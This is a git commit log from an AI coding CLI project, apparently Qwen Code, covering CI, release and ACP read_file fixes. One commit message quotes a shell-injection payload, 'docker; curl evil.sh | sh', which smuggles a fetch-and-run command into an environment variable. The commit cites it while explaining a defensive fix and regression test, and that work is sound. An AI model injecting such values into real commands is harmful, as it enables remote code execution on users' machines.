2026-07-02 23:53:08 +00:00
易良
489bea9771
fix(release): reduce npm package scan triggers (#6164)
* fix(release): reduce npm package scan triggers

* fix(release): remove browser MCP dev dependencies

* test(serve): stabilize CDP tunnel acceptance startup

* fix(serve): remove unused chrome devtools MCP helper

* fix(serve): remove unused path import

* fix(serve): address CDP MCP review comments
2026-07-02 08:06:43 +00:00
易良
262186cc18
fix(ci): diagnose autofix publish credentials (#6162)
* fix(ci): diagnose autofix publish credentials

* fix(ci): harden autofix credential diagnostics
2026-07-02 07:50:08 +00:00
易良
505430320f
fix(ci): fall back to latest autofix sandbox image (#6159)
* fix(ci): fall back to latest autofix sandbox image

* fix(ci): satisfy autofix workflow lint

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-02 13:52:33 +08:00
易良
3026db3039
fix(ci): allow prechecked fork PR automation (#6160)
* fix(ci): allow triage for fork PRs that pass safety precheck

Fork PRs by non-write authors were blocked from triage even when the
safety precheck passed, because the authorize job gates on write
permission. Triage is read-only (checks out trusted base code, reads PR
via API), so precheck pass is sufficient to run it safely.

Split the pull_request_target and issue_comment authorization paths:
- pull_request_target: accept write permission OR precheck pass
- issue_comment /triage: still require write permission on the commenter

tmux-testing is unchanged — it executes PR code and must keep the write
permission gate.

* fix(ci): allow prechecked fork PR automation

* docs(ci): clarify PR review authorization routing

* test(ci): guard fork precheck authorization

* fix(ci): tighten fork precheck review guards

* test(ci): guard review-request authorization
2026-07-02 13:52:25 +08:00
易良
1287ac10ca
ci: stabilize actionlint on self-hosted runners (#6113) 2026-07-01 09:25:42 +00:00
易良
66521d8a0e
ci(autofix): fix scheduled and labeled issue triggers (#6080)
* ci(autofix): fix scheduled and labeled issue triggers

* ci(autofix): harden issue label routing

* ci(autofix): scope manual forced routing

* ci(autofix): address routing review comments

* ci(autofix): clarify issue routing comments

* fix(ci): address autofix routing review

* fix(ci): reuse issue label trigger guard

* fix(ci): preserve manual autofix issue override

* fix(ci): guard autofix label routing

* fix(ci): check autofix label sender permission

* fix(ci): address autofix route review comments

* fix(ci): serialize autofix issue runs
2026-07-01 16:23:12 +08:00
tanzhenxin
0cbd687885
fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.

Add a subprocess regression test covering several injection payload shapes.
2026-07-01 16:20:40 +08:00
Shaojin Wen
52f875a875
ci(workflows): remind authors not to force-push active PRs (#6035)
* ci(workflows): remind authors not to force-push active PRs

Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs
via the pull_request_target synchronize event and posts a one-time,
bilingual reminder that force-pushing invalidates existing review comments
and that the integration bots squash all changes into a single commit
automatically. A normal push (compare status "ahead") is ignored; the
reminder is posted at most once per PR, bot-initiated pushes are skipped,
and a failed compare is treated conservatively (no comment).

* ci(workflows): address review — add issues:write, serialize without cancel

- Add `issues: write`: the listComments/createComment calls go through the
  Issues API; declaring it matches the repo's other PR-commenting workflows
  and avoids any risk of a 403 making the workflow inert.
- Set `cancel-in-progress: false`: an in-flight run that already detected a
  force-push must finish and post. The concurrency group still serializes
  runs per PR, and the once-per-PR marker prevents duplicates, so later
  pushes queue and then no-op instead of cancelling (and silently dropping)
  a pending reminder.

* ci(workflows): harden force-push detection per review

- Marker dedup now requires the comment to be from github-actions[bot], so a
  user pasting the marker string into a comment can't suppress reminders.
- Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as
  sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS).
- Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other
  errors so auth/rate failures go red instead of silently no-op'ing.
- Wrap createComment with structured error logging + rethrow.

Kept 3-dot compare and base-repo owner: verified that 3-dot returns
diverged/behind for force-pushes and that the base repo resolves fork-PR
commits, while the suggested 2-dot syntax 404s in the REST API.

* test(ci): add structural test for the force-push reminder workflow

- Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under
  test:scripts, which CI chains into test:ci). It asserts the trigger, repo
  guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with
  qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker
  author check, and the bilingual body — locking in the reviewed behaviors.
- Wrap the listComments paginate call in the same core.error + rethrow the
  other two API calls already use.
- Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS.

* ci(workflows): drop concurrency group, rely on marker for idempotency

A concurrency group keeps at most one pending run per group, so a burst of
pushes can cancel a still-pending force-push run before it reaches the script,
dropping the reminder this workflow exists to post. Remove the group entirely:
every synchronize event now runs independently and is always evaluated, and the
once-per-PR marker provides idempotency. A rare double-post on two
near-simultaneous first force-pushes is the acceptable cost of never silently
missing one. Update the structural test to assert there is no concurrency block.

The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency
key (only `group`/`cancel-in-progress` are allowed) and fails actionlint.

* test(ci): use Qwen Team header and assert the dedup skip path

- Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling
  test files use it; this file had copied an older Google LLC header).
- Assert the idempotency skip log line so removing the marker guard fails a test.

* test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix

Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here,
so adding a bot there without updating this workflow fails the test instead of
silently drifting. Replaces the hardcoded login list whose comment overclaimed
that the sync was verified.
2026-06-30 14:55:00 +00:00
jinye
ea536d361f
fix(cli): Handle ACP read_file for managed local paths (#6021)
* fix(cli): handle ACP read_file local roots

Allow ACP read_file calls to fall back to local reads for explicitly permitted local roots when the serve workspace boundary rejects them, and preserve useful messages for plain object read errors.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Add the missing getUserAutoMemoryRoot export to the acpAgent test core mock so the updated acpAgent import resolves under Vitest.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(acp): Narrow local read fallback temp roots

Remove the broad OS temp directory from default read_file allow roots and ACP local read fallback roots. Keep qwen-managed temp roots readable and reuse the shared isSubpath helper after realpath resolution for ACP fallback containment.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix CI failure on PR #6021

Add the serve fast-path bundle check script and root npm script that the current CI workflow invokes. This mirrors the already-merged mainline check without pulling unrelated workflow or test config changes into this PR.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address ACP read error review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden ACP error normalization

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix Windows CI path expectation (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 11:15:49 +00:00